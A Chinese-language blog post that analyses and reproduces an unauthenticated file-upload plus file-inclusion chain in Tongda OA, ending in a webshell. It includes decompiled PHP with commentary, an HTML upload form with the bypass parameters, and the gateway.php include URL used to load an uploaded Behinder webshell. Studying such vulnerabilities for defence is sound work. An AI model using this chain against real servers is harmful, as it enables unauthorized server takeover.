通达OA 任意文件上传+文件包含 getshell

发布时间 2023-12-28 18:16:54作者: Running_J

漏洞影响版本

通达OA V11版 <= 11.3 20200103
通达OA 2017版 <= 10.19 20190522
通达OA 2016版 <= 9.13 20170710
通达OA 2015版 <= 8.15 20160722
通达OA 2013增强版 <= 7.25 20141211
通达OA 2013版 <= 6.20 20141017

漏洞分析

根据网上的文章可以知道任意文件上传的漏洞点在ispirit/im/upload.php这个文件里面,首先搭建好这个OA,下载好版本之后直接点击exe就能自动进行配置

然后使用phpstorm载入源码,注意这里的OA源码是加密的,必须得解密,使用zend工具或者SeayDzend工具进行解密然后载入就不会是乱码

然后开始分析,这个文件有一个upload的函数可以进行文件上传,所以我们必须让代码执行到文件上传的这个函数

首先就可以看到p的变量,这里使用post进行接受数据,然后判断p是否设置或者是否为空,如果不为空就包含session.php否则就载入问及那auth.php,这个是一个身份验证的文件

$P = $_POST["P"];
if (isset($P) || ($P != "")) {
	ob_start();
	include_once "inc/session.php";
	session_id($P);
	session_start();
	session_write_close();
}
else {
	include_once "./auth.php";   // 身份验证
}

直接访问文件就是用户未登录

然后添加post参数,然后访问发现并没有用户未登录的提示,说明这里的参数可以绕过登录

然后下面的代码就是对DEST_UID的一个简单判断

$DEST_UID = $_POST["DEST_UID"];  // 使用post接受dest_uid的数值
$dataBack = array();
if (($DEST_UID != "") && !td_verify_ids($ids)) {    // 这里可以跟进td_verify_ids,这里判断的就是传入的参数是否为数字和逗号
	$dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效"));
	echo json_encode(data2utf8($dataBack));
	exit();
}

接下来就是判断DEST_UID的数值,如果传入的参数有逗号。也就是(strpos($DEST_UID, ",")的值为true,那么就不执行代码,反之如果没有逗号就使用intval强制转换数值,然后接下来就是判断强制转换后的DEST_UID的值,如果为0继续往下执行,然后如果这个UPLPAD_MODE不等于2,那么就执行下面的代码,输入错误信息,这边的话就可以让DEST_UID不等于0就可以绕过这个报错,比如让DEST_UID等于1

if (strpos($DEST_UID, ",") !== false) {
}
else {
	$DEST_UID = intval($DEST_UID);
}

if ($DEST_UID == 0) {
	if ($UPLOAD_MODE != 2) {
		$dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效"));
		echo json_encode(data2utf8($dataBack));
		exit();
	}
}

然后继续下面的代码

首先这里使用了$_FILES函数,这个是一个全局的变量,如果是上传一个文件,那么就是而且数组,多个文件上传就是三维数组,以下是这个函数的例子,可以理解为我们上传的文件所有的信息都在这个变量里面。

$_FILES数组内容如下: 
$_FILES['File']['name'] 客户端文件的原名称。 
$_FILES['File']['type'] 文件的 MIME 类型,需要浏览器提供该信息的支持,例如"image/gif"。 
$_FILES['File']['size'] 已上传文件的大小,单位为字节。 
$_FILES['File']['tmp_name'] 文件被上传后在服务端储存的临时文件名,一般是系统默认

然后这里的话使用了count的函数进行统计上传文件的个数,如果上传文件的格式>=1那么就继续下面的执行,然后判断UPLOAD_MODE变量的值是否等于1,如果等于1,那么尝试对上传文件的文件名进行解码。它使用 urldecode() 函数尝试解码文件名,然后比较解码前后的文件名长度。如果两者不相等,说明文件名经过了 URL 编码,于是会将解码后的文件名赋值给 $_FILES["ATTACHMENT"]["name"],以替换原始的文件名。这里其实不用管这个条件,因为我们要想执行的upload函数并没有在这个判断里面,就算不满足也会执行我们想要的函数
然后下面就是我们的关键代码

里面有三个参数,跟进查看
这一部分是对MOULE的变量进行判断,如果包含斜杠和反斜杠,并且output变量的值为false,这个变量在前面的upload文件里面已经设置好了为false,那么就返回一个错误,并退出

然后这两句代码

的意思就是初始化一个ATTCHMENTS的数组,然后里面有ID和NAME的key,之后使用reset重置这个FILES变量,让这个内部的指针执行第一个元素,后续如果需要对这个FILES变量进行遍历,就能从第一个文件信息进行遍历
继续下面的代码

这里就是检查上传文件的错误码然后对应错误码丢出对应的错误信息,里面有对文件的名称,大小进行判断,如果最后没有问题就返回数组ATTACHMENTS

然后分析upload的文件

这里判断了ATTACHMENTS是否是数组,然后下面的ID和NAME就是刚刚在upload里面设置的空数组,如果上传成功,这个变量就是有值的。
最后面就是三种模式

第一种就是对上传的文件形成一个缩略图,总的来说就是对上传之后的文件进行处理

漏洞验证

上面我们知道要想上传文件必须满足几个条件

1 必须要有P参数 这里是绕过身份验证
2 DEST_UID =1 这个是为了绕过那个强制等于2的条件
3 $UPLOAD_MODE =1,2,3 这里必须选择一种模式,因为upload函数里面必须进行指定
4 upload函数里面还有一个表单的名称,我们上传之后文件的信息就会保存到这个ATTACHMENT里面


然后必须满足上面4个条件才能进行文件上传
首先自己写一个文件上传的html界面

<html>
<body>
<form action="http://192.168.9.13/ispirit/im/upload.php" method="post" enctype="multipart/form-data">
<input  type="text"name="P" value=1></input>
<input  type="text"name="UPLOAD_MODE" value=1></input>
<input type="text" name="DEST_UID" value=1></input>
<input type="file" name="ATTACHMENT"></input>
<input type="submit"></input>
</body>
</html>


因为我们必须知道上传文件的路径,可以使用网上的文件监控的脚本进行监控,把这个python上传到OA的安装目录然后python执行


之后上传我们的文件

然后查看脚本监控到的文件

点击查看是否有这个文件

这就是这个文件上传的漏洞利用,但是这个文件不是上传到网站根目录,无法直接利用,所以就需要用文件包含漏洞进行执行

文件包含

这个漏洞的地址网上公开的是

// 如果存在变量 $P,则执行以下逻辑
if ($P != "") {
    // 如果 $P 中包含非法字符,则输出“非法参数”并结束脚本执行
    if (preg_match("/[^a-z0-9;]+/i", $P)) {
        echo _("非法参数");
        exit();
    }

// 如果存在变量 $json,则执行以下代码
if ($json) {
    // 使用stripcslashes函数去除转义字符和将 $json 转换为数组形式
    // stripcslashes() 函数删除由 addcslashes() 函数添加的反斜杠
    $json = stripcslashes($json);
    // 转换为数组形式
    $json = (array) json_decode($json);
    // 遍历 $json 数组
    foreach ($json as $key => $val ) {
        // 如果键为"data",将其值转换为数组形式
        if ($key == "data") {
            $val = (array) $val;
            // 再次遍历$val数组,但最终赋值给$keys变量的是最后一个$value
            foreach ($val as $keys => $value ) {
                $keys = $value;
            }
        }
        // 如果键为"url",将其值赋给$url变量,这里就可以构造url进行文件的包含
        if ($key == "url") {
            $url = $val;
        }
    }
    // 如果$url不为空
    if ($url != "") {
        // 如果$url的开头是"/",则去除开头的"/"
       // substr函数 substr(string,start,length)
        if (substr($url, 0, 1) == "/") {
            $url = substr($url, 1);
        }
        // 如果$url包含特定字符串("general/"、"ispirit/"或"module/"),则包含对应文件
        // strpos(string,find,start) 返回字符串在需要搜索的字符串第一次出现的位置
        /*
           <?php
              echo strpos("Hello world!","wo");
           ?>
              这将会输出6
        */
        if ((strpos($url, "general/") !== false) || (strpos($url, "ispirit/") !== false) || (strpos($url, "module/") !== false)) {
            include_once $url;
        }
    }
    // 结束脚本执行
    exit();
}
?>

然后尝试上传木马,这里使用冰蝎的木马

直接访问文件地址,(这里的文件地址当上传的时候就会出现,然后自己进行拼接即可)返回空白说明文件上传成功并且已经包含,然后使用冰蝎进行连接

http://192.168.9.13/ispirit/interface/gateway.php?json={%22url%22:%22../../general/../../attach/im/2312/1218173520.123456.txt%22}


成功!!!